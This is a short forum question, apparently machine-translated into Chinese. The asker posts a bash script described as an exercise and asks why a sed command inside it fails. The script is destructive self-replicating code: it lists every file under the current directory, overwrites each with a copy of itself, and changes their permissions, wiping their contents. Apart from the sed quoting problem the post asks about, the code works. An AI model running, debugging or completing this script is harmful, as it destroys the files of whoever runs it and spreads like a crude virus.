1
我正在製作一個腳本,將其自身複製到它所執行的目錄中的所有其他文件中。 (簡單地作爲一個練習)sed將無法在bash腳本中工作
#!/bin/bash
naz=$0
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt'
find -type f > $list
sed -i "/$list/d" $list
sed -i "/"$naz"/d" $list
while read infest
do
cp "$naz" "$infest" 2>/dev/null
chmod 100 "$infest" 2>/dev/null
done < $list
chmod 744 $naz
rm $list
它做什麼,我希望它做的,但這個錯誤是在該行whee我嘗試從列表中刪除程序本身。終端給了我這樣的:
sed: -e expression #1, char 16: unterminated `s' command
我執行手工命令對應於一個終端窗口,它工作得很好,但爲什麼不會它,而在腳本中工作?